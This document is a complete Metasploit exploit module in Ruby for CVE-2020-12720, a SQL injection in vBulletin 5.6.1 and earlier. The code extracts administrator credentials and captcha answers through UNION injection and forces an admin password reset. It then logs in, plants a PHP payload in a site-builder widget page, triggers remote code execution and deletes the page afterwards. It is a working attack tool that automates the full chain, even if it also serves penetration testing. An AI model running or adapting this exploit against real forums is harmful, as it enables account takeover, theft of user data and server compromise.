This Metasploit module exploits a SQL injection vulnerability found in vBulletin versions 5.6.1 and below. This module uses the getIndexableContent vulnerability to reset the administrator's password and it then uses the administrators login information to achieve remote code execution on the target. This module has been tested successfully on vBulletin version 5.6.1 on the Ubuntu Linux distribution.
fd4655c52e9ed2a0c5c8f8a33cf22cf0##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }
def initialize(info = {})
super(
update_info(
info,
'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier
This module uses the getIndexableContent vulnerability to reset the administrators password,
it then uses the administrators login information to achieve RCE on the target. This module
has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.
},
'License' => MSF_LICENSE,
'Author' => [
'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE
'Zenofex <zenofex[at]exploitee.rs>', # (@zenofex) PoC and Metasploit module
],
'References' => [
['CVE', '2020-12720'],
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic', {}]
],
'Privileged' => false,
'DisclosureDate' => '2020-03-12',
'DefaultTarget' => 0
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']),
OptInt.new('NODE', [false, 'Valid Node ID']),
OptInt.new('MINNODE', [true, 'Valid Node ID', 1]),
OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]),
OptBool.new('MANUALLOSTPASS', [false, 'true if an administrator lost password request has already been sent.', false])
])
end
# Performs SQLi attack
def do_sqli(node_id, tbl_prfx, field, table, condition)
where_cond = condition.nil? || condition == '' ? '' : "where #{condition}"
injection = " UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 "
injection << "from #{tbl_prfx}#{table} #{where_cond}--"
print_status("Performing SQL injection on target to retrieve '#{field}' from '#{tbl_prfx}#{table}'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'),
'vars_post' => {
'nodeId[nodeid]' => "#{node_id}#{injection}"
}
})
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext']
parsed_resp['rawtext']
end
# Gets human verification token
def get_hv_hash
print_status("Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'),
'vars_post' => {
'securitytoken' => 'guest'
}
})
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash']
hv_hash = parsed_resp['hash']
print_good("Retrieved '#{hv_hash}' human verification token.")
hv_hash
end
# Gets the human verification (question based) answer
def get_hv_ques_answer(node_id, tbl_prfx, questionid)
print_status("Using HV token '#{questionid}' and SQLinjection to determine HV question answer.")
hv_answer = do_sqli(node_id, tbl_prfx, 'regex', 'hvquestion', "questionid = '#{questionid}'")
if questionid.nil?
return nil
end
print_good("Retrieved the answer '#{hv_answer}' (REGEX) to the HV question with id '#{questionid}'.")
hv_answer
end
# Gets the human verification (image based) answer
def get_hv_answer(node_id, tbl_prfx, hv_hash)
print_status("Using HV token '#{hv_hash}' and SQLinjection to determine HV answer.")
hv_answer = do_sqli(node_id, tbl_prfx, 'answer', 'humanverify', "hash = '#{hv_hash}'")
if hv_answer.nil?
return nil
end
print_good("Retrieved '#{hv_answer}' answer to HV token '#{hv_hash}'.")
hv_answer
end
# Gets the prefix to the SQL tables used in vbulletin install
def get_table_prefix(node_id)
print_status('Attempting to determine the vBulletin table prefix.')
table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', "column_name='phrasegroup_cppermission'")
unless table_name && table_name.split('language').index
fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')
end
tbl_prefix = table_name.split('language')[0]
print_good("Sucessfully retrieved table to get prefix from #{table_name}.")
tbl_prefix
end
# Sends the request to begin forgot password request
def begin_reset_pass(admin_email, hv_answer, hv_hash, type = 'Image')
print_status("Making request to '#{target_uri.path}/auth/lostpw' to begin lost password process.")
if type == 'Question'
hv_field_name1 = 'humanverify[input]'
hv_field_name2 = 'humanverify[hash]'
elsif type == 'Recaptcha2'
hv_field_name1 = 'unused'
hv_field_name2 = 'humanverify[g-recaptcha-response]'
else
hv_field_name1 = 'humanverify[input]'
hv_field_name2 = 'humanverify[hash]'
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'auth', 'lostpw'),
'vars_post' => {
'email' => admin_email.to_s,
hv_field_name1.to_s => hv_answer.to_s,
hv_field_name2.to_s => hv_hash.to_s,
'securitytoken' => 'guest'
}
})
return false unless res && res.code == 200
parsed_resp = res.get_json_document
return false if parsed_resp['response'] && parsed_resp['response']['errors']
true
end
# Attempts to login to vBulletin install
def login(user, pass, type = '')
print_status("Making login request to '#{target_uri.path}/auth/ajax-login' with username: '#{user}' and password: '#{pass}'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'auth', 'ajax-login'),
'vars_post' => {
'logintype': type.to_s,
'username' => user.to_s,
'password' => pass.to_s,
'securitytoken' => 'guest'
}
})
return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']
print_good("Successfully logged in as #{user} #{type}.")
[res.get_cookies, parsed_resp['newtoken']]
end
# Gets an administrator's info from the database using SQLi
def get_admin_info(node_id, tbl_prefix)
uid = do_sqli(node_id, tbl_prefix, 'userid', 'administrator', nil)
username = do_sqli(node_id, tbl_prefix, 'username', 'user', "userid = '#{uid}'")
token = do_sqli(node_id, tbl_prefix, 'token', 'user', "userid = '#{uid}'")
email = do_sqli(node_id, tbl_prefix, 'email', 'user', "userid = '#{uid}'")
unless uid && username && token && email
return [nil, nil, nil, nil]
end
[uid, username, token, email]
end
# Activates vBulletin site builder
def activate_sitebuilder(pageid, nodeid, userid, sec_token, cookie_jar)
print_status("Making request to '#{target_uri.path}/ajax/activate-sitebuilder' to activate site-builder functionality.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'activate-sitebuilder'),
'cookie' => [cookie_jar],
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'pageid' => pageid.to_s,
'nodeid' => nodeid.to_s,
'userid' => userid.to_s,
'loadMenu' => 'false',
'isAjaxTemplateRender' => 'true',
'isAjaxTemplateRenderWithData' => 'true',
'securitytoken' => sec_token.to_s
}
})
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
print_good('Successfully enabled site-builder functionality.')
true
end
# Creates new widget instance
def new_widget_instance(sec_token, cookie_jar)
print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveNewWidgetInstance' to create new widget.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveNewWidgetInstance'),
'cookie' => [cookie_jar],
'vars_post' => {
'containerinstanceid' => '0',
'widgetid' => '23', # PHP widget type ID
'pagetemplateid' => '',
'securitytoken' => sec_token.to_s
}
})
return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['widgetinstanceid']
print_good('Created new widget instance.')
[parsed_resp['widgetinstanceid'], parsed_resp['pagetemplateid']]
end
# Saves a new widget to vBulletin.
def save_widget(pt_id, wi_id, payload, sec_token, cookie_jar)
print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveAdminConfig' to add payload to widget.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveAdminConfig'),
'cookie' => [cookie_jar],
'vars_post' => {
'widgetid' => '23', # PHP widget type ID
'pagetemplateid' => pt_id.to_s,
'widgetinstanceid' => wi_id.to_s,
'data[widget_type]' => '',
'data[title]' => rand_text_alphanumeric(rand(6..16)),
'data[show_at_breakpoints][desktop]' => '1',
'data[show_at_breakpoints][small]' => '1',
'data[show_at_breakpoints][xsmall]' => '1',
'data[hide_title]' => '1',
'data[module_viewpermissions][key]' => 'show_all',
'data[code]' => payload.encoded.to_s,
'securitytoken' => sec_token.to_s
}
})
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
print_good('Successfully added payload to widget.')
true
end
# Sends request to reset password using activation id.
def reset_password(admin_uid, act_id, new_pass)
print_status("Sending reset password request to '#{target_uri.path}/auth/reset-password'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'auth', 'reset-password'),
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'userid' => admin_uid.to_s,
'activationid' => act_id.to_s,
'new-password' => new_pass.to_s,
'new-password-confirm' => new_pass.to_s,
'securitytoken' => 'guest'
}
})
unless res && res.code == 200 && res.body.to_s =~ /Logging in/
return nil
end
print_good("User with userid '#{admin_uid}' successfully reset password to '#{new_pass}'.")
true
end
# Deletes a page in vbulletin
def delete_page(pageid, login_token, cookie_jar)
print_status("Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'),
'cookie' => [cookie_jar],
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'pageid' => pageid.to_s,
'securitytoken' => login_token.to_s
}
})
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
print_good("Successfully deleted page with pageid: #{pageid}")
true
end
# Makes request to execute PHP payload.
def exec_payload(rest_url)
print_status("Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, rest_url)
})
unless res && res.code == 200
return nil
end
print_good('Request made succesfully, payload should be executing now.')
true
end
# Fetches a human verification question based on hash.
def get_hv_question(hash)
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvQuestion' to get human verification question.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvQuestion'),
'vars_post' => {
'hash' => hash.to_s
}
})
unless res && res.code == 200 && res.body.to_s !~ /"errors"/
return nil
end
res.body.to_s.tr('"', '')
end
# Saves a new page to the vBulletin install
def save_page(nodeid, userid, pt_id, payload_url, wi_id, session_info)
print_status("Sending request to '#{target_uri.path}/admin/savepage' to save new page at '#{payload_url}'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'savepage'),
'cookie' => [session_info[1]],
'vars_post' => {
'input[ishomeroute]' => '0',
'input[pageid]' => '0',
'input[nodeid]' => nodeid.to_s,
'input[userid]' => userid.to_s,
'input[screenlayoutid]' => '2',
'input[templatetitle]' => rand_text_alphanumeric(rand(5..10)),
'input[displaysections[0]]' => '[]',
'input[displaysections[1]]' => '[]',
'input[displaysections[2]]' => "[{\"widgetId\":\"23\",\"widgetInstanceId\":\"#{wi_id}\"}]",
'input[displaysections[3]]' => '[]',
'input[pagetitle]' => rand_text_alphanumeric(rand(5..10)),
'input[resturl]' => payload_url.to_s,
'input[metadescription]' => rand_text_alphanumeric(rand(5..10)),
'input[pagetemplateid]' => pt_id.to_s,
'url' => normalize_uri(target_uri.path),
'securitytoken' => session_info[0].to_s
}
})
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']
print_good("Page succesfully created and should be accessible at '#{normalize_uri(target_uri.path, payload_url.to_s)}'.")
parsed_resp['pageid']
end
# Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled")
def get_hv_type
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvType')
})
unless res && res.code == 200
return nil
end
hv_type = res.body.to_s.tr('"', '')
print_good("Retrieved HV/captcha type of '#{hv_type}'.")
hv_type.to_s.tr("'", '')
end
# Brute force a nodeid (attack requires a valid nodeid)
def brute_force_node
min = datastore['MINNODE']
max = datastore['MAXNODE']
if min > max
print_error("MINNODE can't be major than MAXNODE.")
return nil
end
for node_id in min..max
if exists_node?(node_id)
return node_id
end
end
nil
end
# Checks if a nodeid is valid
def exists_node?(id)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'),
'vars_post' => {
'nodeid' => id.to_s
}
})
unless res && res.code == 200
return nil
end
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
print_good("Sucessfully found node at id #{id}")
true
end
# Gets a node through BF or user supplied value
def get_node
if datastore['NODE'].nil? || datastore['NODE'] <= 0
print_status('Brute forcing to find a valid node id.')
return brute_force_node
end
print_status("Checking node id '#{datastore['NODE']}'.")
return datastore['NODE'] if exists_node?(datastore['NODE'])
nil
end
# Check function for exploit
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'js', 'login.js')
})
return CheckCode::Unknown unless res && res.code == 200
return CheckCode::Safe if res.body.to_s =~ /vBulletin 5\.6\.1 Patch Level 1/
if res.body.to_s =~ /vBulletin ([\.0-9]+)/
if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.6.1')
return CheckCode::Safe
elsif Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.0.0')
return CheckCode::Appears
end
return CheckCode::Detected
end
CheckCode::Safe
end
# Performs all exploit functionality
def exploit
super
# Get node_id for requests
node_id = get_node
fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id
# Get vBulletin table prefix
table_prfx = get_table_prefix(node_id)
fail_with(Failure::UnexpectedReply, 'Could not determine the table prefix for the vBulletin install.') unless table_prfx
# Get admin info (email, uid, token)
admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx)
unless admin_uid && admin_user && admin_token && admin_email
fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.')
end
print_good("Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}")
if !datastore['MANUALLOSTPASS']
# Determine HV type
hv_type = get_hv_type
fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type
fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type
# Generate HV token and get answer
if hv_type == 'Image' && hv_type != 'Disabled'
hv_hash = get_hv_hash
hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer
elsif hv_type == 'Question' && hv_type != 'Disabled'
hv_hash = get_hv_hash
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash
ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id
hv_question = get_hv_question(hv_hash)
hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer
print_good("Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).")
end
# Make request to forget my password
brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type)
# We fail here when the answer to the HV question contains a complex regex or is recaptcha2
fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret
end
# Get Activation ID for forgot password request from DB
activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'")
fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id
# Make request setting new password
new_pass = rand_text_alphanumeric(rand(10..16))
rp_ret = reset_password(admin_uid, activation_id, new_pass)
fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret
# Login to vBulletin
cookie_jar, login_token = login(admin_user, new_pass)
fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
# Activate Site Builder (is this necessary?!)
actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret
# Login to vBulletin
cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
# Create new widget
wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id
# Save modifications to widget
sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)
fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret
# Add page with widget embedded
payload_url = rand_text_alphanumeric(rand(6..10))
session_info = [login_token, cookie_jar]
page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)
fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id
# Execute php payload
print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.")
exec_payload(payload_url)
# Delete page with widget embedded within it
dp_ret = delete_page(page_id, login_token, cookie_jar)
print_bad('Could not delete page (cleanup phase).') unless dp_ret
end
end